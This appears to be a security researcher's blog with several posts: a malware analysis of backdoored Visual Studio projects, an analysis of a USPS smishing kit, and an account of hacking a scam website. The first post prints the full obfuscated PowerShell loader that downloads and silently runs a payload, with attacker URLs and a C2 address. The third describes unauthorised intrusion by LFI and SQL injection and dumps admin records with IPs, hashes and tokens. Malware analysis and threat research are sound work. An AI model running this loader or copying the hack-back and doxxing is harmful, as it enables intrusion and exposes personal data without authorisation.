# Welcome/whoami Welcome to my blog! ![](/files/7Q3IA0X5ESoE8MwxsKNJ) {% embed url="" %} About Me {% endembed %} Hello! My name is Grant, I compete under the name S1n1st3r, and I am a red team operator and cybersecurity professional. I am a certified OSCP, GCIH, eCPPTv2, eWPT, eJPT, Sec+, and CEH (along with other certs) but I am currently working on my OSEP. I enjoy doing Hack the Box and TryHackMe rooms as well as CTFs and am practicing my writeup skills here. Please also view my CTF writeups here: Also, if you are interested in offensive cyber capabilities and tooling development please visit us at [Phantom Security Group](https://www.phantomsecuritygroup.org/)! {% embed url="" %} {% embed url="" %} # Malware Analyst for a day Reversing some backdoored Visual Studio projects I was browsing Twitter (X) late at night and noticed [a post from @checkymander](https://x.com/checkymander/status/1853636676712644839) talking about a user on GitHub with a bunch of interesting repositories, all Visual Studio projects that are backdoored.

The csproj file that contains the backdoor command (<Exec command=...)

Taking a look at this command being executed by Visual Studio we can see that it is putting a bunch of base64 encoded data into a vbs file, along with instructions to decode it.
The instructions then reverse the data put in and base64 decode it.
What we get from that is an interest powershell payload with multiple functions. {% code overflow="wrap" %} ```powershell function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:\ProgramData\sevenZip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\sevenZip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl ``` {% endcode %} Yes, it's a bit gross but can simply be cleaned up but adding newlines after each semi-colon and separating the functions. With it a bit more readable you can see it is simple executing the 'rl' function, which sets off a whole chain of events. Instead of manually going through I decided to be lazy and do it dynamically using the following code: ```powershell function rl { try { p "wr3DqMK3w5vDp2fCl2XCr8OZw6LCnsKNw53Do8OCwqPCtsOQw6bCjsObwq3CrMORw6LCn8OSw7LCo8OHw5XCug==" } catch { x } } function x { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEw5zDncODwqLCpsOaw6Fcw5rCl8K0wpzDssKFwpDCs8OlwrrCt8KI" } catch { l } } function l { try { p "wr3DqMK3w5vDp2fCl2XCrcOOw6zCpcOEwqjDmsOEwqPCtcOMw6tcwprCmHLCnsKxY8OFw5zDmMK3w5p1" } catch { o } } function o { try { p "wr3DqMK3w5vDp2fCl2XCr8OSw6fCpcORw7PCosK4w6Nyw57DpsKQw5BjwqfDoMOwwpPDhMOvw6TDg8OowrbDocObwqPDoMKmbMOfw5rCqA==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; #$r = Invoke-RestMethod -Uri $d; $r = "w5nDpMOWwqnCn3JifMKfw5fCtMOmw7DDhMKPwp7DhsKRW8OTwrrDgMKven57ZsKFa8KdwoHDs8Ovw5HCqcKqw4vCj8KRw7bDkMK8wo99wpvCm8KmfMKqw5PCrMOjw5zDlcOGwq7ChsKIwpvDtMOfw5zDkcKawpBnf8KZZ8OBwqXDn8Otw4XDicKBw4DCkMKgw6LDo8KewpnCsw=="; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); Write-Host $g; $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; #$b = $c.DownloadData($dl); $b = "blahblah"; Write-Host "Data download"; Write-Host $dl; Write-Host $f; if ($b.Length -gt 0) { #[System.IO.File]::WriteAllBytes($f, $b); Write-Host $ex; e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; #if (Test-Path $exF) { #Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } Write-Host "Starting process"; Write-Host $exF; } } #} catch { throw } }; $prooc = "UtCkt-h6=my1_zt"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; Write-Host "decoded string"; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; Write-Host -join $d; return -join $d } catch { throw } }; $proc = "qpb9,83M8n@~{ba;W`$,}"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "MTA0IDgyIDUxIDk0IDM4IDk4IDUwIDM3IDY1IDU3IDMzIDEwMyA3NSA0MiA1NCA3NiAxMTMgODAgNTUgMTE2IDM2IDc4IDExMiA4Nw=="; $p = v -i $s; $z = "C:\ProgramData\sevenZip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Write-Host "Starting process"; Write-Host $z; Write-Host $arg #Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\sevenZip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; echo "Download file"; echo $u; echo $o #$wc = New-Object System.Net.WebClient; #$wc.DownloadFile($u, $o); #$wc.Dispose(); #Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; #Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl ``` This gave me the following output:

Output from the above script showing the decoded data in plaintext

From this I was able to get that it reaches out to get 7-zip, if not already installed, and then downloads a 7zip archive from another attacker-controlled GitHub account, specified by the first link it decodes. After downloading the archive it unzips it with the password 'hR3^\&b2%A9!gK\*6LqP7t$NpW' and executes the exe inside. Along with this I also grabbed some of the other URLs it was trying for the link to the GitHub: ``` https://rlim.com/seraswodinsx/raw https://pastebin.com/raw/yT19qeCE https://paste.fo/raw/2b5182fbdbf2 https://rentry.co/srch-jswbeupntsvgvxp/raw ``` Attacker controlled GitHub and archive with payload: ``` https://github.com/VIPMARC383/AutoHotkey_L-Docs/releases/download/LL/SearchFilter.7z ``` This archive is interesting as it was executing a binary that then executed a Node.JS application.

Base of unzipped archive

Recently modified resource directory (asar_unpacked was not present)

Contents of the unpacked ASAR archive

I checked out the contents of the main.js file from the ASAR archive and you can tell its doing something fishy. Just take a peek:

The main.js file contents containing strings mentioning powershell and WMI

But look at the size of the file and how obfuscated it is, and this is after putting it through a deobfuscator. I wasn't about to reverse this manually either, so I turned to any.run for analysis. You can checkout the run [here.](https://app.any.run/tasks/5afb32a5-cad6-4fd5-abe2-431d7f0aac9f) In the run you can see it executes a bunch and is pretty loud but it does some anti-debugging, mainly looking at what programs are running, and then tries to disable Microsoft Defender features. Following this is adds some scheduled tasks and drops some files. From this run I noticed it drops an executable, which I also did [a run on.](https://app.any.run/tasks/4bd9cc05-f0e4-46dd-a151-3df87bcc61ab) From that run I found the C2 IP and port: `178.236.243.173:3473` I now wanted to look into this executable some more though. Luckily any.run allows you to download dropped files and so after downloading it I loaded it into Ghidra andddd....

Ghidra being confused with the binary

Ghidra was lost. Luckily I noticed from this that the binary was a .Net assembly and I can use DnSpy to reverse it. Plugging it into DnSpy you can tell its been obfuscated, at least all the variables, strings, and function names.

The binary plugged into DnSpy

It took some digging to find where the magic was happening but I finally found a function doing some decryption of something, presumably the resource attached which seemed encrypted (resources are a common way to attach encrypted payloads to a loader).

A decryption function in DnSpy

After doing putting some pieces together, and compiling my own encryptor binary to generate the same key and IV, I was able to decrypt the resource attached.

The decrypted payload

The loader is decrypting this in memory and then executing it as to not drop it on disk for scanning. Just from running strings on the decrypted binary I can see it is another .Net assembly and that it is a [Quasar client](https://github.com/quasar/Quasar) (a "Free, Open-Source Remote Administration Tool for Windows"). And that is that. Thanks for joining me on this interesting journey in current adversary tactics and malware. {% file src="/files/JIEmuczPhh7ZS576GYzE" %} Final Quasar payload (password is "infected") {% endfile %} # Spooky Scammers (Back for the holidays) A new USPS SMS phishing kit is on the block

New USPS Phishing Text

During the previous year’s holiday season, we saw a dramatic increase in SMS phishing (smishing), specifically targeting the United States Postal Service (USPS). This holiday season seems to be no different, but this time from a different group using a whole new phishing kit. The previous year's scammers, the Smishing Triad, [sold and used a kit (poorly) written in PHP](https://youtu.be/gLOv67LlIQs?si=5s8jh5Rww8qafD33). This year’s group, name yet unknown to myself, is using a brand-new kit written in JavaScript and TypeScript. It seems to be better written as well, with less obviously critical flaws at least. Just like with the previous USPS phishing campaign, I dove in and started looking for vulnerabilities in this kit. Starting off was looking at the traffic going to and from the web application.

HTTP traffic to and from the phishing web application

As you can see from the above photo, the traffic is rather garbled. Definitely encrypted/encoded in some way to make it harder for anyone digging into the kit. This encoding or encryption was obviously happening on the client side in order to send the victim data to the server and also understand the responses, so I dug into the JavaScript (JS) available. The JS was gross though, highly obfuscated just like the Smishing Triad did with their PHP. This time though, there was a much easier way to deobfuscate this code. The JS code had been obfuscated using an open-source tool called javascript-obfuscator, available at [obfuscator.io](https://obfuscator.io/). Luckily for us though, [ben-sb ](https://github.com/ben-sb)has already created a [deobfuscator](https://github.com/ben-sb/obfuscator-io-deobfuscator) specifically for obfuscator\[.]io. Passing the deobfuscation script the whole JS files from the phishing web application proved to be an issue though. Some of them were just too large and I had to switch machines to one with more RAM, along with upping the usage by allowed, in order to deobfuscate these larger scripts. Once I had these deobfuscated versions it was much clearer what was happening, while still not perfect.

Some of the deobfuscated JavaScript

From reading through I was able to find the encryption being used for the HTTP traffic. The kit was using an encryption algorithm called [Rabbit](https://www.browserling.com/tools/rabbit-decrypt).

Decrypting a request to the server

The kit uses the key `magiaCat-request` for the requests and `magiaCat-response` for the responses. After finding the keys to encrypt traffic, to send to the server, and decrypt incoming traffic. I was able to get a better view of what was going on. Though unfortunately not perfect though due to not having a reliable method of decrypting some of the websocket traffic. While testing different requests I had seen being sent I found one that was particularly interesting. This one, when sent, returned a sort of config with a list of all the domains being used by the kit. This is something obviously very useful to any threat intelligence researcher so please feel free to[reach out to me](mailto:grant@phantomsec.tools) over at my [PhantomSec.Tools](https://phantomsec.tools) email and I can pass along the request to send to get this, if you haven’t found it already yourself.

Decrypting the config response from the server

Something I also found interesting was the data submitted is stored in your local storage, encrypted with rabbit, but with the key `__my_store_key_darcula_is_666`. Another item of note based on my reading through of the deobfuscated JS is that the web application will send POST requests to randomized API endpoints (ex: /api/MC4wODg5ODQxOTAxNzg0ODM2OQ==) but the base64 encoded value at the end (a random number generated) does not matter. What only matters is the content of the message, which is encrypted with the rabbit encryption I mentioned earlier. With regards to attribution, this campaign is definitely similar to the Smishing Triad’s. The use of a large amount of domains, heavily using the .top TLD, and the fact it was written by a Chinese-language speaker (based on verbose error messages placed throughout), suggests that it is most likely from China again. I have published the JS source code, both obfuscated and deobfuscated, on my [GitHub here](https://github.com/gsmith257-cyber/New-USPS-Smishing). I’ll keep digging into this kit as much as I have time for but, with recently founding a company, that is limited. I hope this initial research and the finding of which request to send to get the rest of the domains will be used by the threat intelligence community to help take down these kits as fast as they pop up. Thanks for reading! # Hacking the Scammers How someone I don't know hacked the scammers back **DISCLAIMER: This is not my work. I would never and don't condone illegal hacking of scammers** **I have since decided to take credit for this work after a lot of consideration, it was obvious anyways.** A short while ago I got a text from a random number saying the following:

Scam Text

I knew right away this was a scam but also knew that others fall for this all the time, my own wife had fallen for it a few months back. I posted about it in a channel online and someone, lets call them s1n, was ready to get revenge on these lowlifes who wanted to just scam random people out of their hard-earned cash. S1n started out by doing some initial recon. First was a nmap scan (yielding them more domains they use and their region):

FTP SSL cert showing Region

HTTP SSL-Cert showing other DNS names that can be used

Along with this they started browsing the site while intercepting traffic with Burp Suite. The site looked to be a clone of the actual USPS site ([Wayback Machine URL](https://web.archive.org/web/20240103060318/https://usps.storeu.xyz/information)):

Scammer Site

There were a few interesting requests being made, but all to a different url. Hm... Gotta make sure this is still the scammers:

nslook confirming same IP

Great, they are! The first of these interesting requests was web socket communications where the client would send a filename and the contents were returned.

WSS

Interesting... This looks like an easy LFI. And it is!

WSS LFI

The LFI gave S1n more info about the environment so that they could look around more effectively than fuzzing.

/proc/self/cmdline

Upon using this new directory found, S1n was able to grab all the PHP files they had seen while browsing the scam site. These files are highly obfuscated and almost impossible to read. There are also many Chinese characters making it even worse for English speakers, they are linked below. Though they do seem safe, **use at own risk.** {% file src="/files/ZN9BKqHUaieHhSLdVV2k" %} Files taken from scam webserver {% endfile %} Looking through these files they could observe that they were using a telegram channel to communicate back to them and were storing data in a MySQL server. S1n could not find any sensitive data with the LFI that would allow them to get further access into the web server. Most things were setup an run with supervisord and, though it had SSH, it had not been used it seemed.

Telegram token variable being used

While looking around S1n also found the nginx access log and it revealed one of the IPs of the people setting it up, if they didn't use a VPN.

nginx access.log

IPlocation info on the IP

Based on the certificate information and this IP, and we are just getting started, I think we can agree that this is likely Chinese scammers. Now after browsing around S1n looked at some of the files he had grabbed and looked back at some of the requests he intercepted and found something that looked like and SQL injection.

Single quote in a POST param causing error

Firing up SQLMap they tried it and it worked! They were into the scammers database!

Scammers database

Now that we are inside the database lets take a peek around. First lets DOXX the scammers running this site: ``` Database: facaisss_top Table: admin [9 entries] +------+----------------------------------+---------+-------------------------------+--------+---------+-----------------+----------------------------------+--------------------------+---------------------+------------+ | id | token | desc | name | type | avatar | login_ip | password | username | login_time | permission | +------+----------------------------------+---------+-------------------------------+--------+---------+-----------------+----------------------------------+--------------------------+---------------------+------------+ | 9527 | qHJK7M0rNUy7UYulDi05qojUSFM9pM3C | ??? | ???TG:https://t.me/wangduoyu0 | 1 | | 106.226.19.70 | 2d028f8ca2b73eb7d4546d7994c742ff | Twez7K15Vd5Gpan4C/uaqw== | 2024-01-02 22:05:25 | | | 9531 | jLgco5RMvFqgyxONDUVk2JmxEqFEkovq | | NULL | 3 | NULL | 38.207.142.214 | d42fe63b6643993a8f97dc47985d982a | jQVmD0P+gg055h7ZJHznaQ== | 2023-12-19 12:59:36 | NULL | | 9532 | 2fCCgWhzw7waNNQReGf1Ycmcp42rTn5v | | NULL | 2 | NULL | 178.173.225.134 | 0a283f0b0d570adc1bfb51572955d37f | K87+QTqJTMy6qVxRJXxpeQ== | 2024-01-02 22:16:54 | NULL | | 9533 | d5EOAVfo0HZsprmAACK7iH9pTz56zNhN | | NULL | 2 | NULL | 5.161.50.112 | 782e3af2dd3da9f7ebc9f05332872dc4 | d3m9yTko9mXTJD0B5yO0zg== | 2023-12-28 07:59:08 | NULL | | 9537 | a3zps4dfc3cuZOV3G1RtWMWPcUdCmjGn | | NULL | 2 | NULL | 89.185.30.226 | 4f8a2379bb3c474680354c63bc1ee6fc | OyaHyjxHRDOhrh39bXqR6Q== | 2024-01-03 07:32:38 | NULL | | 9539 | jAYkPihKE768TpoGnQ3pTsYZ4pNQ3C18 | | NULL | 2 | NULL | 182.84.160.242 | 5b73c2e8c152520b55e15b14c45e3f49 | TJzkjGwJ+dFQ9tOGVtyHGw== | 2024-01-03 02:50:19 | NULL | | 9540 | wi3g2ZnGFV4vnUn2LiVPFmAhOfKfbKlJ | | NULL | 2 | NULL | 106.226.19.70 | 9c7115ddce2c84b3ac7efd12f667f662 | nAHd7K32eSgwpYU2xRCJdA== | 2024-01-02 22:05:40 | NULL | | 9541 | TTTCcT3YWljq0isK5RDnN7PpfkMcN3OK | | NULL | 2 | NULL | 39.144.169.135 | d0a44137ee2002fda76053c3607ec5cd | F7/lmK6VJ682vkqgERb00Q== | 2024-01-03 05:38:43 | NULL | | 9542 | bPBaUEoFrI3xpwMjJoE8Dp5zRMVWVgLa | | NULL | 2 | NULL | 137.184.82.92 | d0f364e103cb423430a1c419a4278bf6 | 7+KbdbgLprg1HxWnDiIVQA== | 2024-01-03 11:20:37 | NULL | +------+----------------------------------+---------+-------------------------------+--------+---------+-----------------+----------------------------------+--------------------------+---------------------+------------+ ``` That Telegram link as a description looks interesting ;) Now lets take a look at the configuration: ``` Database: facaisss_top Table: config [1 entry] +-------+---------+-----+--------------------------+---------+-------+-------+--------------------------------------------------+--------+---------+------------------------+---------+---------+---------+---------+---------+----------+----------+-----------+------------+------------+------------+------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------+-----------------------+-----------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------+-------------------+-------------------+---------------------+----------------------+ | pid | tg_uid | otp | key | url | mount | state | title | is_tor | tg_msg | order | bt_file | captcha | ht_type | tg_open | timeout | allow_pc | tg_token | two_title | allow_once | pay_status | store_name | succ_count | title_desc | unattended | success_url | redirect_url | refresh_rate | refuse_cards | two_title_desc | highlight_cards | is_ip_detection | country_whitelist | refuse_cards_type | display_filled_card | is_refuse_cards_type | +-------+---------+-----+--------------------------+---------+-------+-------+--------------------------------------------------+--------+---------+------------------------+---------+---------+---------+---------+---------+----------+----------+-----------+------------+------------+------------+------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------+-----------------------+-----------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------+-------------------+-------------------+---------------------+----------------------+ | 10086 | | 0 | vHbippHvUZKYtXUA3NGKZA== | | £900 | VFg= | RGVsaXZlcnkgZmFpbGVkLCBhZGRyZXNzZWUgdW5rbm93bg== | 0 | | 9300120111410471677883 | 1 | 0 | 1 | 0 | 120 | 0 | | | 0 | 1 | | 3 | VVNQUyBBbGxvd3MgeW91IHRvIFJlZGVsaXZlciB5b3VyIHBhY2thZ2UgdG8geW91ciBhZGRyZXNzIGluIGNhc2Ugb2YgZGVsaXZlcnkgZmFpbHVyZSBvciBhbnkgb3RoZXIgY2FzZS4gWW91IGNhbiBhbHNvIHRyYWNrIHRoZSBwYWNrYWdlIGF0IGFueSB0aW1lLCBmcm9tIHNoaXBtZW50IHRvIGRlbGl2ZXJ5Lg== | 0 | https://www.usps.com/ | https://www.usps.com/ | 3 | 434257,43425,44578,44823,51158,371263,376668,377481,377693,379290,400022,400344,400898,400899,400908,401939,402018,402087,402258,402400,403015,403163,403446,403905,403926,403995,406095,406421,406498,406644,409758,410040,410608,410848,411238,411600,411606,411740,411773,411810,411870,411931,412061,412125,412174,412185,412421,413037,413358,413520,414080,414238,414352,414709,415417,415710,415746,415758,415888,416004,416860,416994,417021,417046,418702,419310,420495,421783,422135,422967,423421,423729,423998,424132,424840,425103,425300,425307,425418,425838,425839,426752,426937,426938,427081,427082,427178,428191,430572,431143,432613,432692,432822,433280,434219,434559,435541,435544,435546,435547,435737,435836,435880,436618,436885,437303,437307,438557,438628,438915,440262,440393,441251,441413,441420,441814,441904,442743,443040,443042,443045,443047,443051,443122,443161,443292,445326,445785,446053,447141,447436,447914,448233,448267,448563,448570,448975,450122,451002,451129,451431,451440,451461,453506,453641,453936,454481,454900,454905,454921,454951,455225,455495,455711,456367,456628,457431,458415,458453,458643,458953,459954,460291,461354,462192,463467,464714,464969,465108,466600,467321,468840,471304,472092,472776,473310,473690,473691,473910,474428,474487,475675,475708,476974,477248,478499,478662,478665,479287,479482,479841,480213,480233,480313,484718,485246,485340,486236,487038,489504,490312,491288,491689,493109,493452,494149,494340,494632,497816,498503,510250,510277,510363,510555,510581,510805,510870,510875,511092,511201,511271,511360,511475,511516,511534,511558,511563,511565,511597,511786,511824,511897,511970,512106,512107,512230,512903,512980,514181,514348,514377,514400,514420,514422,514441,514474,514759,514998,515142,515307,515368,515478,515549,515550,515592,515597,515599,515676,515934,516445,517805,518155,518221,518375,518725,518752,519280 | | 373914,514120,514121,514122,514123,514124,514125,514126,514127,514128,514129,554405,461634,457709,426910,426911,426971,426972,412738,412004,448129,484814,484815,461993,461994,406098,459521,486266,486268,466042,466043,371710,376786,474165,446542,457083,425907,374355,414718,432739,425907,601120,371306,379134,549409,376761,485620,373918,407221,424631,406042,446542,416814,371697,373919,483312,406049,512992,442756,434769,483312,517546,444796,372655,475055,483316,542418,517546,552285,518941,517546,514978,512992,494638,486796,483313,474187,454482,448975,442939,442777,420767,414795,414718,409589,407222,406042,406032,379000,372655,371536,552448,517546,517545,512992,512991,413040,413040,377935,438854,515354,401105,513505,476186,537811,414740,417046,433747,530997,559591,549460,542543,542543,414720,475824,414720,475824,490070,376750,426684,434256,448975,440066,542539,473622,442755,475824,531260,517546,372722,546616,372298,558962,371290,371382,371383,371409,371584,372298,372550,372651,372657,372723,373191,373726,373915,373965,374830,376731,376741,376778,376784,377936,378001,379253,379295,379572,379582 | 0 | | 0 | 1 | 0 | +-------+---------+-----+--------------------------+---------+-------+-------+--------------------------------------------------+--------+---------+------------------------+---------+---------+---------+---------+---------+----------+----------+-----------+------------+------------+------------+------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------+-----------------------+-----------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------+-------------------+-------------------+---------------------+----------------------+ ``` And finally lets see what data was taken from the poor people scammed by this site: ``` Database: facaisss_top Table: userinfo [61 columns] +------------------+---------------------+ | Column | Type | +------------------+---------------------+ | account | varchar(255) | | code | varchar(255) | | name | varchar(255) | | status | int(11) | | address1 | longtext | | address2 | longtext | | birthday | varchar(255) | | card_alpha2 | longtext | | card_bank | longtext | | card_bank_phone | longtext | | card_bank_url | longtext | | card_brand | longtext | | card_country | longtext | | card_date | longtext | | card_last_four | varchar(255) | | card_name | longtext | | card_number | longtext | | card_scheme | longtext | | card_type | longtext | | city | longtext | | country | longtext | | creat_time | datetime | | cvv | longtext | | email | longtext | | email_password | varchar(255) | | email_verify | varchar(255) | | first_name | longtext | | house | varchar(255) | | id | bigint(20) unsigned | | ip | varchar(255) | | is_card_numer | int(11) | | is_code | int(11) | | is_cvv | int(11) | | is_ep | int(11) | | is_highlight | varchar(255) | | is_otp | varchar(255) | | is_pin | int(11) | | is_routing | int(11) | | is_ssn | int(11) | | is_two_verify | int(11) | | item_name | longtext | | last_name | longtext | | login_type | int(11) | | murmur | varchar(255) | | one_key_pass | int(11) | | operation_record | longtext | | order_id | varchar(255) | | otp | varchar(255) | | password | varchar(255) | | phone | longtext | | phone_last_four | varchar(255) | | pin | varchar(255) | | price | varchar(255) | | return_url | varchar(255) | | routing_account | varchar(255) | | routing_number | varchar(255) | | ssn_last_four | varchar(255) | | state | longtext | | update_time | datetime | | user_agent | longtext | | zip | longtext | +------------------+---------------------+ ``` Wow. So much data on these people. Also look at how many are in this table: ``` SELECT COUNT(*) FROM userinfo WHERE STATUS IS NOT NULL: '3818' ``` Along with this they are tracking who visits the site of course: ``` Database: facaisss_top Table: records [9 columns] +-----------------+---------------------+ | Column | Type | +-----------------+---------------------+ | create_time | datetime | | id | bigint(20) unsigned | | ip | varchar(255) | | lang | varchar(255) | | murmur | varchar(255) | | os_name_version | varchar(255) | | plat | varchar(255) | | update_time | datetime | | user_agent | varchar(255) | +-----------------+---------------------+ ``` S1n didn't say what they are going to do with all this incriminating evidence but I know I will be sending it over to whatever internet crime center will listen to try to get it shut down and the culprits brought to justice. Thanks for reading! # Systematic Destruction (Hacking the Scammers pt. 2) Taking on the "Smishing Triad"
